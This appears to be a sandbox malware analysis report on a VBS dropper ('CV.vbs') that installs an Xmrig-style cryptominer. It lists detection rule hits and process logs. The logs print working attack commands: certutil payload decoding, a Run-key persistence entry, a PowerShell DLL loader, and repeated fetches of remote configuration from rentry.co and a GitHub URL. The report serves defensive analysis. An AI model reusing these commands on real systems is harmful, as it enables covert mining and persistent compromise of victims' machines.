Source: 0000000A.00000002.3177023053.00000248ECF10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Pornoasset_927f314f reference_sample = d653598df857535c354ba21d96358d4767d6ada137ee32ce5eb4972363b35f93, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Pornoasset, fingerprint = 7214d3132fc606482e3f6236d291082a3abc0359c80255048045dba6e60ec7bf, id = 927f314f-2cbb-4f87-b75c-9aa5ef758599, last_modified = 2021-09-16
Source: 0000000A.00000002.2934615979.0000000140001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Pornoasset_927f314f reference_sample = d653598df857535c354ba21d96358d4767d6ada137ee32ce5eb4972363b35f93, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Pornoasset, fingerprint = 7214d3132fc606482e3f6236d291082a3abc0359c80255048045dba6e60ec7bf, id = 927f314f-2cbb-4f87-b75c-9aa5ef758599, last_modified = 2021-09-16
Source: Process Memory Space: powershell.exe PID: 7832, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\f845a3d99b83e24d96851c4aac2db939.tmp, type: DROPPED	Matched rule: SUSP_PowerShell_Caret_Obfuscation_2 date = 2019-07-20, author = Florian Roth, description = Detects powershell keyword obfuscated with carets, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.expl.evad.mine.winVBS@113/72@7/5

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\58IE32K3.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7644:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7780:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\NoMultipleDarkMine
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8100:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\Encode.txt

Jump to behavior

Source: C:\Windows\System32\cscript.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\CV.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\CV.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\certutil.exe "C:\Windows\System32\certutil.exe" -decode C:\Users\user\AppData\Local\Temp\Encode.txt C:\miner\DarkMiner.cab
Source: C:\Windows\System32\certutil.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\expand.exe "C:\Windows\System32\expand.exe" C:\miner\DarkMiner.cab -F:* C:\miner\
Source: C:\Windows\System32\expand.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cscript.exe "C:\Windows\System32\cscript.exe" C:\miner\mine_start.vbs
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7FDD.tmp" "c:\Users\user\AppData\Local\Temp\CSC698B17CA485A4DF3BFC9C5C4DCCE15E7.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\miner\mine_start.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\weizmren.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA854.tmp" "c:\Users\user\AppData\Local\Temp\CSC34AD3A053BD0482B8F57CF2F2153CA.TMP"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\miner\mine_start.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zmhmaghu.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCBDA.tmp" "c:\Users\user\AppData\Local\Temp\CSC42213DD479FE494FA8153260D2C4A5B2.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL814C.tmp C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL46B0.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL46B0.tmp C:\Users\user\AppData\Local\Temp\DLL46B0.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL663C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL663C.tmp C:\Users\user\AppData\Local\Temp\DLL663C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLF657.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLF657.tmp C:\Users\user\AppData\Local\Temp\DLLF657.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL82AA.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL82AA.tmp C:\Users\user\AppData\Local\Temp\DLL82AA.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ahbspsjl.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB020.tmp" "c:\Users\user\AppData\Local\Temp\CSC591B9E4DE1824FC8AB2EAE3EE41D29C1.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL120A.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL120A.tmp C:\Users\user\AppData\Local\Temp\DLL120A.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLAA54.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLAA54.tmp C:\Users\user\AppData\Local\Temp\DLLAA54.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL39F2.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL39F2.tmp C:\Users\user\AppData\Local\Temp\DLL39F2.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ck4l4tfe.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESFCF8.tmp" "c:\Users\user\AppData\Local\Temp\CSC553B895C4F294EC7A377E88EC4917E34.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLD067.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLD067.tmp C:\Users\user\AppData\Local\Temp\DLLD067.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL6063.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLL6063.tmp C:\Users\user\AppData\Local\Temp\DLL6063.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLF060.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\DLLF060.tmp C:\Users\user\AppData\Local\Temp\DLLF060.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\certutil.exe "C:\Windows\System32\certutil.exe" -decode C:\Users\user\AppData\Local\Temp\Encode.txt C:\miner\DarkMiner.cab	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\expand.exe "C:\Windows\System32\expand.exe" C:\miner\DarkMiner.cab -F:* C:\miner\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cscript.exe "C:\Windows\System32\cscript.exe" C:\miner\mine_start.vbs	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL814C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\miner\mine_start.vbs"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL663C.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLF657.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL82AA.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL120A.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLAA54.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL39F2.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLD067.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw H	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLL6063.tmp -O- -q 1 https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\DLLF060.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/raw	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7FDD.tmp" "c:\Users\user\AppData\Local\Temp\CSC698B17CA485A4DF3BFC9C5C4DCCE15E7.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -c $WorkPath = \"$env:SystemDrive\miner\";$architecture = $env:PROCESSOR_ARCHITECTURE;if ($architecture -eq 'AMD64') {$WorkPath = \"$env:SystemDrive\miner\fetchX64.dll\"} elseif ($architecture -eq 'x86') {$WorkPath = \"$env:SystemDrive\miner\fetchX32.dll\"};$Newpath = $WorkPath.Replace('\', '\\');$signature = '[DllImport("""' + $Newpath + '""", EntryPoint=\"RunX\")] public static extern int RunX();';$LoadDLL = Add-Type -MemberDefinition $signature -Name 'LoadDLL' -Namespace 'LoadDLL' -PassThru;$LoadDLL::RunX()
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 60
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\weizmren.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA854.tmp" "c:\Users\user\AppData\Local\Temp\CSC34AD3A053BD0482B8F57CF2F2153CA.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c c:\miner\XClient.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add hkcu\software\microsoft\windows\currentversion\run /v XmrigMiner /t reg_sz /d "C:\miner\mine_start.vbs" /f
